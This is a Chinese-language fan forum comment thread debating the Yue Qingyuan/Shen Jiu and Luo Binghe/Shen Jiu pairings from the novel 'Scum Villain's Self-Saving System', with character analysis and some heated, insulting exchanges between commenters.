没我你不愿乞讨的份例都不知道去哪找,没我你早就进秋府了,没我你说不定都被无厌子嘎了,哪来的脸在我面前BB? 嗯,我要有九的经历我肯定比九要坏,大概介于冰九之间吧,七如果不能像梦魔一样给予帮助出谋划策还要碍手碍脚的话,我不介意在有力量之后让他闭嘴 九活着发生的事情一直在告诉他他不配活着 不配拥有美好的东西,他活该遭难活该被背叛辜负活该长在泥里靠近他的人他释放善意的人都不会有好下场,但九不肯认命不肯服气,所以他拼命抓住力量往上爬,即使命运破坏他的根骨来阻碍他。但即使努力爬到的修仙大派的上层有了力量地位,他还是被那些好运顺遂的人视为阴沟的老鼠修仙的野路子,被嘲笑自己拼命活下去的手段,被鄙视自己的行为作风(比起被误会好女色九更耻于说明自己的虚弱无力),自己不配获得自己应有的尊重,不配和苍穹山同气连枝,释放善意也没有好下场,不是被误会就是失败被误会(柳两次,但凡柳能活,他的回馈绝对会给九些许信心和安慰,可惜挂了,这种被命运玩弄的挫败感。。太多次了人是会动摇怀疑自己的,他本就被岳打击过怀疑自己是不是不配,所以岳这种老好人都会辜负他),讨厌的又踩到自己头上,赶都赶不走(冰),连幼时相互扶持还很好运当上掌门的七,时隔这么久远离这么久还是被自己连累死了(虽然这主要是冰七的矛盾,但九爱钻牛角尖),这一切的一切都在向九证明他在做无用功,不管怎么挣扎他都还是那个泥里的人不配获得什么好东西人生一点希望没有九自然活不下去 七不来接九的时候九是宁愿他死路上而不是毁诺的,这样至少证明他的难得的真心换来的也是真心而不是一个笑话,之后的感情就没有那么沉重了,被辜负以后更多的是厌世烦躁和自己的不配得感,七是一个记载过去记忆的刺,背叛了就各走各的路好了,但自己害死了他会对不起自己的良心,感觉自己是一个天生祸害,发的善心得不到好报,走进自己的人都会被害死,所以别人抛弃背叛自己是对的,自己本来就不配,遭受的苦难打击都是活该。这直接就把九拼命活着往上爬的心气击溃了,他才会生无可恋。如果七只是因为七自己的缘故挂的,九虽然会因为回忆怔愣一会感叹一番,但不会有太大的反应 倒也不是,但七不能因为九死,这样九又像背了一个人命债似的,他受不了,柳的死已经很影响他心态了 但七是九的光,七活着九就活着,七死,九也死,七和九砍不断,除非是撕心裂肺的,冰和九,九离开冰是自由的,冰失去九,就像人没有手机一样 不是一路人,如果有人伤害九,七会安抚九,九想杀了那个人,七会阻止,换成冰和九,俩个人一起折磨死那个人 冰九的嗑点来源于同人女的想象,在原文里也就剩那点折磨的戏份了。但是正因为如此才有很大发挥空间,尤其还是带感的双恶人组合。七九反而因为太过明确不容易戳到大部分人都嗑点。还有“人世不怜,生生错过”太悲了,错误的过程注定没有人能得到救赎。如果说沈九是个烂苹果,被鸟啄空、被虫蛀坏,他会把最后一点好肉留给岳七,也会把腐烂的部分给“同类”冰哥(一刷冰九人,二刷七九人) 冰九雀氏好磕但是总感觉他们之间横亘着深仇大恨啊 就是充满了痛苦和折磨的爱(?)也不知道小九在这种感情里会不会真正幸福 他没看到,他也不想看 那就是冰冰了呀,只是九不要 可他远远没看到沈清秋的全貌 他看到了 没有啊,七是在知道九先针对柳的情况才这样劝的。 你忘了一件事,沈九干坏事岳七心里都清楚。他是在知道沈九是个坏蛋的情况下,劝诫且包容。 沈七也清楚这一点 这句话特别像为自家孩子说话的感觉,小九更像个外人 所以我看七九只看be 七九像兄弟,冰九更有张力 其实站在九的角度,最好一对cp都不要磕,勉勉强强磕个柳九小学生吵架还行,毕竟柳对九除了嘲讽以外也没什么过分的行为,磕冰九的基本都是喜欢强制爱和追妻火葬场的,站在cp的角度很好磕,站在九个人的角度真的纯纯被恶心,他恐同他厌恶洛冰河,洛冰河对他只有迫害和求而不得,很多冰九文里的洛冰河都看的让我恶心,我感觉九推一般来说不会磕冰九,除非这个洛冰河塑造的非常好,七九的话我只能说是逝去的白月光,以小九的性格他不会回头了 感觉他们的CP感都不强,一个小九自己不喜欢,一个错过了,谈恋爱不是找公正的法官,是需要无视一切坚定的站在你身边 宁婴婴那个罪名可以理解成婴婴恋爱脑发作了,而且如果洛冰河跟他说是小九把他推下无尽深渊的,我觉得如果是婴婴的话,大部分是会恨小九的 ,所以她应该是不会站出来说话的,因为秋家的事我怀疑岳七是什么都没有调查,什么都不清楚,所以不就只能任由他们说吗?他估计也只是听镇上人说,有一个人把秋家灭满门了,至于小九被虐待的事情 ,知道的都已经被小九杀了,还活着,就只剩小九了,小九又不说,岳七那就更不知道了,至于府外的人,肯定是不会清楚的吧,至于暴露洛冰河是魔族这件事情,我觉得那个时候的小九已经自暴自弃了,可能觉得自己当年那么对秋家,然后洛冰河这么对自己,也是因果报应,所以没有打算反抗吧 七九两个人之间都是误会说开了可能和好,曦瑶就太难了 我看冰九文虐的没哭,看七九虐的没哭,写一篇分析直接给我破防了我一直觉得七九比曦瑶好,因为七至少不会反身捅九一剑,结果这一分析感觉七九没看得起九过,太难受了 岳清秋和沈九确实不合适……冰九倒是冰肯定执着于九,但是九对冰简直是敬而远之感觉要在一起只会强制 哦,原来他是“男妈妈”,这样的定位偏向。我就说我为什么就是磕不下这个79cp,也看着不大像那种兄弟情 他去了的,但是晚了,秋家已经被烧了,找不到小九了 卧槽看了这分析终于知道为什么每次看岳七对九说话都觉得难受了,一边对九偏袒,一边又完全不信九,简直就是一直给九洗脑你是坏人但我会纵容你,妥妥的pua啊! 岳清源,一股子爹味[吃瓜] 然后就不解释,让九一辈子都放不下,这很自私 岳清源应该是想,我没去,就是我欠他的解释也没有用 6,说到底就是留白太多了,毕竟主角又不是他俩 所以说他做的事,就像打着为你好的标签的中国式父母 太太写的太好了![][] 岳清源跟爹一样。 不不不,如果他知道了,他至少不会再说那些废话 除了沈九和那个妓子,还有明帆,其他人我都恶心,但最恶心的还是岳清源,能让我生理不适的那种 说这么多,我都搞不清我的主题在哪里了,晕~~,总之我嗑冰九,是对他们两个人的怜惜,小九自不必说,他的人生太苦了,但是冰哥实际上也没有获得真正想要的东西,也没有真正的快乐。突然反应过来,这篇帖子讲的是七九和冰九的CP感比较,我这个人写东西永远都形散神也散,议论文永远偏题。 从天琅君对洛冰河的态度看,我觉得天魔族本身情感淡薄。当然也有可能是我看太多冰九文被洗脑,我觉得洛冰河本身是一个没有太多情绪起伏的人,就比如说有人捅了洛冰河一刀,然后洛冰河反手把他斩了,但是也就这样了,洛冰河不会因为这一刀而生气,因为不在乎,不在乎别人,也不在乎自己,这是一种情感的淡漠。但是除了沈清秋,他所有的爱恨,所有浓烈的情感都应在沈清秋这个人身上,可能天魔族本身就是这样的一个种族,对万事万物都淡漠,但总有一个人去承接他们的情感,比如苏夕颜,又比如沈清秋。情感太过浓烈,其实就分不清到底是什么了,爱也好,恨也好,亦或者两者都有,亦或者是更加复杂的东西,但是我觉得都能归结为执念。 我觉得冰九最好嗑的一点,就是冰本人的执念,我之前嗑冰九嗑的最严重的那一段时间,我觉得狂傲仙魔途是一个彻头彻尾的悲剧,虽然说冰哥≠冰妹,但是他们实际上是同一个人,都是“洛冰河”,只不过是经历不同罢了,从冰妹来推冰哥,就能看出洛冰河他本身是一个并不那么在乎外物的人,什么地位财富他其实都不在乎,他更在乎的是人和感情,但是狂傲仙魔途的结局呢?他坐拥后宫,佳丽三千,无尽的财富,无上的地位,洛冰河这个人真的会因为这些东西而开心吗?我觉得他不会,所以我觉得狂傲仙魔途本身就是一个完全的悲剧,没有人获得快乐和幸福。 岳清源和沈九那条线写的太少了,我至今最不明白的一点,就是岳清源为什么非要自己学成再下去救人?他不能对自己师尊说,自己下面有个弟弟正在受苦,去救一救嘛,哪怕不进仙门,在仙门底下找个村子好好安置也好,这个人怎么就非得要自己学成之后再归呢?我怎么也想不明白这一点,他都成为掌门弟子了,就算没有修为,你往那一站,把自己身份摆出来,难道说秋家还能不给你面子?我真的就是想不明白这一点。 我之前看的一篇冰九文里面,描述岳清源对小九的态度是“这只是偏袒,无关信任。”就比如柳清歌向岳清源告状,说沈清秋又做了什么什么事情,岳清源的第一反应不会是“小九不可能做这样的事”,而是“清秋他年少时怎么怎么样,性子可能会有些偏激,你不要放在心上,我代他向你道歉。”这当然是偏袒,无论小九做了什么事,他都不可能会去处罚小九,能自己压下就自己压下,这当然是偏袒,但是这份偏袒又代表着他心底里认定,沈清秋他就是一个会做那样的事的人,他根本就没有想要去求证到底沈清秋有没有做那样的事情,因为在他心里柳清歌是不会骗人的,这是一种信任,一种对于柳清歌人格的信任,但是他对于沈清秋是没有这样的信任的。 怎么想都是刀子 这个可能性有,但嗑七九的我不能接受这种说法。因为如此,七从一个平常稳重但总为所爱之人冲动,甚至不惜奔赴死亡陷阱的人,变成了一个知道九死了也没有动静的人。他成为了被剧情裹挟、毫无主观能动性的扯线木偶,人设完全崩塌。如果真是知道却不敢说,那七九真的一点也不好嗑了。 看出来了,但不敢说吧 冰哥其实刚开始也是爱过的,后来爱之深恨之切九儿不解释+10086 对的,七在某方面真的是九的白月光 怎么七九给我一种唐僧和孙悟空的感觉[满头问号] 管他七九柳九冰九反正小九是我的 这两对我都是选择性地嗑。嗑七九是因为他们一旦把话说开就是顺顺利利的双箭头,但个人觉得七九最炸裂的一点就是渣反里七没发现九没了,我每次看七九文都会假装没有这件事(掩耳盗铃了属于是);嗑冰九是因为喜欢这种不死不休生生世世的执念,病娇疯批的爱在小说里真是太好嗑了,还有就是我私心想满足冰被九爱的愿望啦。 7总是忽略了9的性格就是硬,就是孤高,知道9坏得不彻底总想着拉一把,感觉像是自始至终都不认可、不承认一个完整的他,他们是互相愧疚的,就算说开了也是近于一种亲情、友情,搞不好愧疚还会加深。冰、9是互相伤害、不死不休的状态,可能就是因为这个他们之间没什么遮掩,但是毕竟仇恨在那摆着,不管最后是什么感情也都会让读者看个爽。 他没解释怎么知道没人信啊,岳清源就会信啊,即使他不解释岳清源也保了他一手,要不然他能支棱到金兰城?岳清源配不上他的解释,不是信不信的问题,是配不配的问题。这俩同样都因为心理问题不解释导致对方误会痛苦,谁比谁高贵啊。不会因为只刻画了沈清秋的失望,你就觉得岳清源周旋很容易吧,死得可是柳清歌,战神,大伙儿可都在怀疑同处灵犀洞的沈清秋。 不能这样说,他本人的脾气就不好,岳清源确实也有错 这俩事能相提并论吗?沈九当时就算解释了也没人会信,但你觉得岳清远解释了沈九会不信? 那确实 按你的标准,别说是狂傲了,现代社会估计也挑不出几个好人,人无完人。 柳清歌之事沈九也没解释过,岳清源没能解释算是什么罪过吗?他没有上帝视角也不会预知未来。 有的人是这么认为啊,沈九什么都好,但凡不如意也怪岳清源,你不也把他不受欢迎的锅往岳清源头上扣吗? 岳清源不是,沈九不是,洛冰河不是,没有人是,说实话渣反里面就没有真正的好人。 妈的,你不了解就不要瞎去看沈九洗白文好不好?谁他妈说沈九的留白是不得已,你洗白文看多了吧。 解释啊!为什么他长了嘴不解释,我就想问,我当时最不理解的就是这一点,他为什么不解释?明明解释了关系就有很大可能可以回到从前,他为什么不解释?就非要小九痛苦着吗?我真不知道他是怎么想的。 沈九就救了他一命哎!救命之恩无以相报OK? 笑死,岳清源不是谁是啊?沈九是,洛冰河是?怎么沈九的留白就是各种不得已,就岳清源的留白就留成阴暗心思? 那所以呢?他应该离沈九远一点吗?那岂不是又要被“上帝”说不知恩。沈九性格不讨喜是主因(没有埋怨也没有强迫他要讨喜的意思)。他不对沈九好,沈九可能人都没了(灵犀洞是岳清源放心不下他给他护法他俩在那里掰扯血迹的)。 岳清源是个人不是沈九的狗,沈九走火入魔就要放心不下赶来救,别人因为性格不喜欢沈九拿他当托词九要躲开。 你真觉得没岳清源沈九就是人见人爱的花蝴蝶吗? 墨香的文每看一遍都能看出点不同的东西,并且我们的视角并不完全是上帝视角,配角故事线都不是特别完整,但多看几遍差不多就能看出岳清源不算是个什么好人 表面岳清源似乎真的对沈九很好,但他对沈九好一分别人就对沈九厌恶一分,我不信堂堂苍穹山派掌门看不出来这件事,那到底是有心还是无心呢?墨香的文留白很多,那这岳清源又究竟是个怎么样的人呢?不可言喻。 虽然但是,你说的确实是事实 虽然但是这篇文的本质是在分析冰九与七九的磕点还有七九某些地方的牵强,作者给出的答案很中肯,也比较理智。但是个人认为这种也是在说别人家cp不足,评论区部分人直接开启了对七的讨伐大会,直接去否定这对cp。我感觉这样不太好,如果有人发了一篇文章来分析你cp的不足,结果评论区全部在讨伐关于你的cp,你会怎么想?感觉这篇文章打标签的意义不大,看着糟心。但是内容又是关于七九的…可是总感觉这是一种变相的拉踩。没必要。(以上不针对作者,我肯定作者的理智和中肯,是对于有些人行为表示不解) 其实我觉得是可以的,因为小九就是一个护短的。只要他喜欢上的人做了什么事情,他都会容忍的。我觉得小九的道德观念就不是很强,所以他不会为了一些世俗的一些规矩,他会觉得他喜欢的人比较重要。当然我也不觉得小九会刻意的去害人。 其实在我看来,冰九比七九更有一种宿命感。论羁绊这两边谁也不比谁少,但是冰河就是疯到全心全意只剩下你一个人,这种关注模糊了爱和恨,除了一个沈清秋再也看不到其他任何人任何事,就是要拖你下地狱就是要你屈服我,虽然现实里遇到他俩谁这样的都得问一句是不是有病但是在小说里就得瞎了眼高呼绝配(。)而岳清源,稳但是不爆,他的愧疚他的懦弱他的纵容把他直接抬到了亲爹的位置,好嗑但是不够牵肠挂肚刻骨铭心。总的来说都香,可是人家就是会偏心冰哥多看两眼嘛… 明明是你在东拉西扯,错误归因给七泼脏水给施虐者洗白 小九进秋府难道不是岳七非要救十五吗?毁约的不是岳七吗?行行行,你家岳七最好行吧,你别搭理我了,我是脑子有病了才跟你辩 你宁愿他喜欢疯子怎么不宁愿替他挨打致残啊,疼的不是你呗?说的狠多心疼他似的,搞笑。 默认个屁,九能逃掉吗?他的命天魔血在吊着,说的是他自愿一样,人彘也是自愿的?你会自愿吗?九是什么顶级受虐狂吗?秋和无厌子都想着脱身,冰就甘之如饴了? 你才应该分清主次,是谁天天打他羞辱他,是岳七吗? 对对对,你家岳七最好了,好吧。我求七和你们放过小九吧,离他远点儿,没有岳七这个老好人,小九会过得更好。我宁愿他喜欢冰哥那个疯子,也不想他喜欢这种和稀泥的好人 什么脑子什么理解能力,我什么时候说过他们是好人了,麻烦分清楚造成小九悲剧的主次好吗?阅读理解不过关,去把九年义务教育上完了再来辩论 冰确实不是好人,也伤害小九,可是这么伤害小九也是默认的,小九是知道自己不对的,他默认这些报复的。还有你别忘了小九根骨损毁还有这个变扭的性格是谁造成了的,岳七才是主因,分清主次好吗 可是我也不磕这对儿呀,之所以这样说是为了反驳他们认为七哥和小九子可以的这个观点。不过姐妹说的也很有道理。 原来不用那么不幸就可以塑造出这种性格的人啊,我更理解小九为什么会这样了 没长嘴,但是很有礼貌 另外冰是什么好东西吗?你要踹飞岳七然后让九和一个把他虐待成残废的人在一起吗?秋剪罗伤了根骨,洛冰河可是伤了四肢,眼睛。 对对对,秋剪罗无厌子是大善人,就可着七一个人薅。 少说什么亲人抛弃,亲人抛弃都变成九那样了,真是给无厌子和秋剪罗洗得干干净净。 九的性格本来就不好,在进入秋府之前打架的风格就能看出来了,少给七泼脏水。失约是走火入魔岳七很想吗?七不解释也是他主观想要九不痛快吗,我是不是可以反问九为什么不问问别人,不侧面调查一下?这也要赖七上。67怪七更是无语,七不偏宠就能不被人排挤?他是什么平易近人的交际花性格吗? 什么都怪岳七身上离大谱。 另外我也没看出你的阅读理解在哪里? 岳清源伪君子在哪里?没有无条件宠九给九当舔狗以九为中心就算是伪君子了? 沈九能理解个鬼,沈九对秋家都是不滥杀的态度,洛冰河可不是,无非是洛最后成了天魔,谁也无可奈何,顺毛捋还能救一些人罢了。 相信不能是唯心的,关键是不交心 明白道理之前得明白事实,不说冰毁了苍穹派,就说九做成人彘什么感受,断条胳膊再说话也不迟。九的性格是必须向自己仇人乞怜才能幸福吗?你也太低看他了。 他哪里懦夫了?冰不懦夫,恨不得把九打死,真是个大英雄? 就算七知道,能和他说你再恶毒一点吗? 对 1 在总的行为方面,岳七确实仁至义尽。但真的要把他当成一个真实的人分析性格,只能说人的行为反应了他的潜意识,岳七对沈九的言行让人细思极恐。(不过个人并不决定的他是故意的)然鹅还是只能说,渣反这篇小说实际配不上本篇如此详细的分析哈哈哈哈,估计作者就是想说他是正义掌门吧哈哈哈。 正解 不不不,岳清源确确实实是伪君子。 作者擅长把白的写成黑的,黑的写成白的。 看那么多人相信自己的指鹿为马,满足自己变态的成就感吧。 不不不,真心指出错误,是好的。可以改正。 岳清源的错,并不在于指出错误,而在于黑白颠倒、是非不分。 而且那些说教都不用心。 用心真诚的说教,我是很感激的。 但岳清源这种虚伪就算了吧。 主要是喜欢小九,别的都随便 非救十五,九担心跟上去,最后还是九救的十五,结果十五这个小王八转头就把九出卖了,九被关被虐七说救,等了三年没人,不投奔无厌子九迟早得被秋剪罗吃了,走之前他还想他会一辈子找七,就算他已经化作尘土,一路上跟着无厌子被迫杀了不少人,无可否认九不是个好人但对七没法说,看到七的第一眼下意识搜刮出烟花放出,怕他打不过背后偷袭无厌子(九的能力选低于无厌子的,不然不至于这么久不逃)结果等到了亲传弟子的七,他第一时间不是去救他而是历练!后来所做的到底是补偿还是愧疚不得而知,真磕不了七九 说实话我觉得七九这对确实有点拉跨了,冰九有点儿虐,柳九他俩又不怎么和得来。所以不如我九独美! 其实细细代入一下岳七的视角,遮住上帝视角,他已经算是仁义尽至了,而且小九性格本身就容易引起他人的偏见,有悲剧色彩在里面,而洛冰河善于伪装,也善于梦魇术,受人追崇也很正常 冰哥与沈九其实双方都很明白对方,但他们有一个死结冰哥对沈九爱而不得,沈九对冰哥退避三舍,就一个一见钟情势在必得,一个恐同患者敏感执拗,然后就gameover了 你可以说七不理解九不支持九,因为这是你可以基于原著判断出来的,但是你凭什么说洛冰河和九的眼界思想格局是一致的洛冰河对九的戕害还不够严重吗?对九的精神打击还不够残忍吗?迫害九的行为还不能令人发指吗? 我也理解他俩不同,别说岳清源了整个苍穹山都知道,但系统这个bug太让人感到悲哀与绝望。 好的,谢谢你的反驳,也许在我心里沈九他就是孤傲执拗的样子吧,沈垣是真的不同 你看到的是系统激活那一刻夺舍成功,但是从赐药到柳清歌被救,他是一点点解开系统系统限制,也符合你说的潜移默化的变化,而且已经有红镜为他背书了。然后如果岳清源因为沈垣对别人好就推翻红镜的结论在外人看来不是在发疯吗?况且他是一个以现实为准绳的人。如果他这么疯,和那些因为高考没考好就坚信别人换试卷,结果调查结果出来没有换,还是非要闹的人有什么区别呢? 也有家人把孩子送学校住校或者出国留学回来就抑郁的,沈垣他也没颠覆啊,也就是变随和点了,况且他怀疑也验了不是。反正就是三次元不能夺舍,二次元就必须和上帝视角一样看出来这样嘛。如果存在高维生物人类是可能被夺舍的,刘慈欣的三体里智子能把科学家都给逼疯。你又怎么用现有科学手段判断人发生剧变到底有没有高维生物干预呢?而在岳清源的世界里红镜就是科技最高水平了,岳清源也不是纯粹唯心的人。还是那句话局中人和上帝视角看到的就是不一样的,也许某一个人的剧变就是高维生物的一念之间,但你意识不到。只能说慢慢变不是夺舍,用现有科技来解释。而且沈垣的夺舍时间线不是像章节一样一件一件发生的,他最初是受ooc限制的 抑郁症家人是能感受到从头到尾的变化过程的,疯子他疯了但是会有原来的行为很重复,沈垣就是用沈九的躯壳把沈九原来的行为处事摒弃了活出了另一个沈恒行为处事应该度过的人生啊 行吧,我不认为这样可以判断一个人,行为习惯只能作为佐证,按照这样的理论所有的疯子,抑郁症都不是病了而是被夺舍,他们家人可以直接把他们丢掉甚至怨恨他们让自己失去了原来那一个。 根据习惯推测,两个人总有在一件事物上截然不同的态度吧,性情大变但生理反应不会变 你会讨厌的前提是你有证据是真的夺舍,除非你是彻彻底底的唯心主义者,我觉得夺舍就是夺舍。岳清源世界的“科学”给他的结果是没有夺舍,小九还是小九。 虽然第一次看的时候小说就是一整个搞笑风,但是只要一离开沈劳斯的吐槽就会发现每个人都有刀点,,真的太催泪了,各种遗憾文学都有 我会讨厌,他让原来我所喜爱的那个人无法再活生生的出现在我面前,剥夺了躯壳却一笑而过 还是那句话你会因为你家人朋友性格突变然后中科院乃至所有专家都说他还是这个人但是他是被高维度生命夺舍了,就能凭感觉疏远他吗?尤其是你还觉得曾经亏欠他。换言之如果仅仅是性格突变没被夺舍呢,岳清源也没躺,但是他穷尽办法也得不到真相,在他的角度来看如果因为改变就疏远也是一种背叛。虽然有的人作为上帝视角很难理解。 可是两个灵魂给人的感觉是不一样的呀,再怎么模仿,只要信心就能看得出来,何况沈垣和沈九两个人的性格也并不像 其实岳七就是单纯的想要对九好想要赎罪,但是他根本不了解九,完全是按照自己想象中的方式待人,九真正需要的东西,他是没有做到过的。 不想回楼上连阅读理解的主次都分不清的小朋友了,这里简单说一下我的理解。小九变成那个别扭的性格是多方面造成的,1秋府的虐待2岳七的失约3无厌子的虐待4再次相见后七九身份差距5七的不解释6弟子时期清静峰排挤7峰主时期的孤立等等,原因我是按先后发生的顺序排列的,比重占最大的就是来自亲人的抛弃(小九眼里不解释的失约就是相当于抛弃他)原因2567全是岳七造成,其中的67看似无关细究也是由于岳七的不解释和偏宠引起的,所以我说全是岳七的锅一点没错可不是随便乱甩的 我说他享受生活了吗?上帝视角当然是没有,就问你要不要岳清源满世界说沈九的过去,单纯说失约其他人理解是见鬼。 你这什么逻辑啊,警察跟证人很熟吗?不熟啊,那他们怎么查案的,你这是什么脑回路?调查个事件,还得跟事件人物熟悉才能查?调查情况不是为了证明小九是好人,为了真相水落石出,至少也能知道小九究竟是不是真的死在了那场大火里 你有病吧?小九在秋府是享受生活吗?是被虐待啊,你倒是被虐爱看看,看你性格会不会变报社。 沈九是好,但他这样子,难道不是无厌子和秋剪罗的锅,赖岳七很离谱呀,你怎么不赖沈九他妈妈干嘛把他变成乞丐。 岳七和秋府人很熟吗?他认识几个人啊?他是不杀妇孺,但你觉得那些妇孺他们的父亲,他们的丈夫,他们的儿子被沈九搞死了,他们会觉得沈九是个大好人,站出来证明是吗? 一个人因为另一个人失约性格就变成那个样子反正我不能理解,我知道他不容易所以我理解他。如果只是简单失约我不理解,当然你可以臆想一下全部人都会理解一个人因为被放鸽子性情就变成这样。反正如果不是九那些苦痛的经历打底,我并不觉得被放鸽子会有多大伤害。 还有苍穹山的人都以为小九是看着岳七的恩情才进的苍穹山拜了清静峰为师,对于这个传言岳七也没解释过,那个时候小九又救了他一次,而且小九是自己当上的峰主不是靠的岳七恩情。这些总好解释吧,可是岳七说了吗?没有,任凭流言越传越烈,最后被其余十一峰孤立,甚至连小弟子都能随意非议。 他不知道自己的偏宠让小九被孤立吗?作为掌门不可能不知道,而不解释的原因就像你说的他无法解释,因为解释了就会让人知道堂堂掌门竟然失约有负救命恩人。 你拉倒吧,小九原先多好一个孩子,就是岳七的锅,怎么不能解释?说一句小九等着他去救,结果他失约不就清楚了?哦,失约哦。原来岳七不想让人知道是他失约于小九,难怪无法解释哈 你这真的看过书?不然就是阅读理解都不过关,秋府全灭了吗?没有吧,那些逃出去的下人用心找不可能找不到的,还有啊,但凡走访一下邻居也会有蛛丝马迹的。你以为古代科技不发达就查不出东西来了? 他怎么解释我不懂,九希望七满世界说他是个乞丐,还曾经在秋府活的像狗一样等着岳七来救这样吗?九之所以这样多半因为他的性格,难道要从峰主到外门弟子一个一个说,你看着他冷但是他有苦衷这样子嘛。你说他应该跟九解释我也这么觉得,但问题是上帝视角大家知道是说开了就好,但岳七没有上帝视角,岳七看来也许觉得自己是在卖惨,算是十恶不赦诚心让他不痛快吗?还是那句话,别把岳七当上帝视角的人,上帝视角只要智力正常都能做到完美。 那他就是为了小九徇私了,况且他怎么查,没有目击证人,只有死尸和疑犯,疑犯也不开口,唯一能查的也就是木清芳,通过验尸,谁知道这个设定是怎么回事,如果是作者为王让九背黑锅的话,可能柳走火入魔都被抹的了无痕迹,岳清源不平这个事儿,大家就不是暗戳戳怀疑沈九了,能直接给他坐死,那九最好的结果也就是和蓝忘机的妈妈一样被囚禁起来。 别把岳七想象的太好了,这个人物细思极恐,比冰哥这种病娇都可怕。因为你知道冰哥是病娇你有防备,而岳七表面就是你说的老好人形象背地里让你有苦说不出。即使对柳清歌的责任他也没有做到,柳清歌死了大家都默认了是小九杀了,可是作为掌门不用调查吗?想当然人云亦云让柳清歌死的不明不白 何况,岳七这样子对小九无缘无故的偏宠却让小九被苍穹山的人孤立,对比之下人人都说小九刻薄寡恩,可真实的情况是什么?是岳七他确确实实没有去接小九,不止不解释让小九解开误会,也不解释让苍穹山的人解开对小九的误会,这就是你说的老好人?这样的老好人给你你要不要?岳七补偿式的偏宠只是自我感动而已 对,你说的对,岳七责任感真重,对谁都有责任,就是对小九没有。一开始小九就给了机会让他解释,欲言又止一句对不起,我草,我能直接踹飞他,小九这样都是给了好脸色了 现实生活也要嗑cp,难以理解。二次元你找绝对偏爱还成,如果是三次元他不爱亲人,不爱朋友甚至不爱自己,不管你做什么都爱你基本是有所图,多见于凤凰男。岳清源没有边界感吗?他就是太有边界感了,小九一不舒服他就后退,如果他能强硬一点就能支棱起来,或许两个人早就破冰了。没有边界感在哪里?是十五?还是柳清歌?这是责任感,对乞丐,对苍穹山。洛冰河对沈清秋挑明了说就是见色起意,岳七对他总不能是小小年纪九见色起意吧,他们最初就是因为岳的责任感。 对啊,我超喜,欢柳九的 所以我觉得七哥和小九就只能是单纯的友情 柳九也挺好,就是柳的设定太短命了。 那倒是,岳清源成为沈清秋的首徒,冰九直接浪迹天涯了 难不成找洛冰河这种暗黑病娇系吗?对人好也有错,雷锋叔叔是不是得被你埋汰啊 可是在他眼里就是小九,就像现实生活中忽然有一天朋友家人变了,通过当前所有手段都说他是他,一直坚信那个人被夺舍也很奇怪吧。 理想与现实吧,就像他怀疑沈垣是夺舍之人,但是红镜明明白白告诉他不是。除非他是一个彻彻底底地唯心主义者。 你把岳七当个人别把他当上帝,他看不到沈九的内心独白,洛冰河打沈九的时候也没留手,也是各种方法获得上帝视角之后才真的了解沈九的,这个能力给谁都一样好吗?给宁婴婴,给秋海棠,哪怕是给柳清歌。用拥有上帝视角的体贴拉踩局中人算哪门子的公平。远的不说,你真的能“投其所好”让你父母和你相处地没有一点摩擦吗?如果你的生活是本书,你又看过这本书,那么你就可以。 主要是我印象中冰的修行好像有问题,会把他的魔气(?)转移到女子身上,女方受不住大概率会死的那种(也可能不是这样,但我印象中是有洛通过伤害别人练功的),和洛比起来,九真正对不起的就是尚且天真单纯的洛,总共也没做恶事几年,洛可能要一直害人啊(已经很久没读过了,自从我看了以身体身份已被穿越者搞得一塌糊涂又还回来了的原主视角的文就非常讨厌那种类似夺舍的穿越,渣反就是典型。加上沈垣的描述,就是一个啥都不会完全不反抗系统像傀儡一样的人操纵原主身体,连个性都非常模糊,随便一个人能做到,拿了原主一切还从头到尾辱骂原主,我就巨讨厌他,完全不想回看了) 看了看,大部分都是磕冰九各位真是“志同道合” 我也是all……我希望能多给他点爱 那也不能以偏概全……? 前面不说,最后这句话我爱 找对象得找情绪稳定的,从这个角度说,冰九拉了大胯 跟这有什么关系,还不是在苍穹山待着,包庇魔族,张嘴闭嘴,原主最恶毒,一般说别人恶毒的,其实他是最恶毒的,双标的狗,沈垣就是沈垣,他不是沈清秋,他不配,这也不是他的名字 除了尚清华和沈清秋(沈垣)和漠北君洛冰河有牵连,其他人都是讨厌魔族,甚至百战峰见洛冰河一次打一次,你管这叫混在一起? 仙盟大会九可没有干坏事哦,是漠尚两人串通起来放魔物弄死了三百多弟子,小九也就干了推洛冰河下无间深渊,那时候从九的视角来看对一个魔族也算得上手下留情了,当然了从路人视角就是残害门中弟子。 七哥在做人上还是不错的,可以说是全文难得的一个人品好的,可惜他太好了,好得太极端了也会害人,因为不想让沈九知道自己以命入剑,不肯解释之前的事,而愧疚了一生,也害了自己和沈九一生。但凡他们两个能把事说开,哪怕再回不到从前了,也不不解释的好。就算洛冰河非要来报复,至少岳清源也不会死了吧 洛冰河是魔族,所以他干坏事很正常啊,他又没说自己是好人,本来就是弱肉强食嘛,他没有自诩正道君子,就像大自然里狮子捕猎一样,就算不吃肉,只要人家有能力照样抓啊 说句不好听的我感觉他就是一个懦夫 看完你的解析,我能理解难怪我对一些七九文案或者柳九文能磕但是不上头的感觉,所以导致缺少一份共情的感觉。。冰哥跟九的cp一磕一个上头,一刀一个准,冰哥真的是在沈九从来多少遍的同人文里面不可缺少的一块朱砂痣啊~~ 确实是对谁都好,但是相对起来话,还是私心更偏向于沈九多点。个人感觉的到,不过也确实七对九的信任度没那么高,又不去了解事情全貌,明明是从小相伴的人,为什么长大了却更有健忘症一样忘记沈九就是嘴硬心软,才导致这么多误会。要是多展示出一点信任,七九cp也会不错,也不至于我个人还会偏站冰九 ,哈哈个人小小的想法 伪君子还算不上吧,可能就是一个老好人人设,但是没用对方法 每次看七九相处都幻视大型PUA现场 确定?岳七中央空调对谁都好的,我要小九,不喜欢就是不喜欢,不拖泥带水,一旦喜欢了只要你不背叛九绝对把你当成孩子宠 哈哈,我跟你观点的差不多,真伪君子算不上说圣母又有点不像,算是两者的糅合体,他总是在拖累小九,从小到死,一直都在拖累。临了临了还要让九在愧疚 不不,楼上的猜想非常认同,岳七从来没听过小九说话 我觉得岳七真的很矛盾,他一边又觉得小九是善良可爱的,但又一边觉得他会作恶 其实我嗑的CP有跟七九一样正邪不两立的,坏的那个也是坏到骨子里,好的那个也是大善人,一方也会劝另一方,但是就没这种长辈说教的感觉,就像是你对象对你无奈的劝解和逼不得已的出手,一方似的时候是想着带他一起解脱,陪对方下地狱,没有杀了对方或者自己替对方付出什么什么那样,所以我觉得可以好哥哥,但是就是没有CP感 总结一句话中国家长式教育---岳七 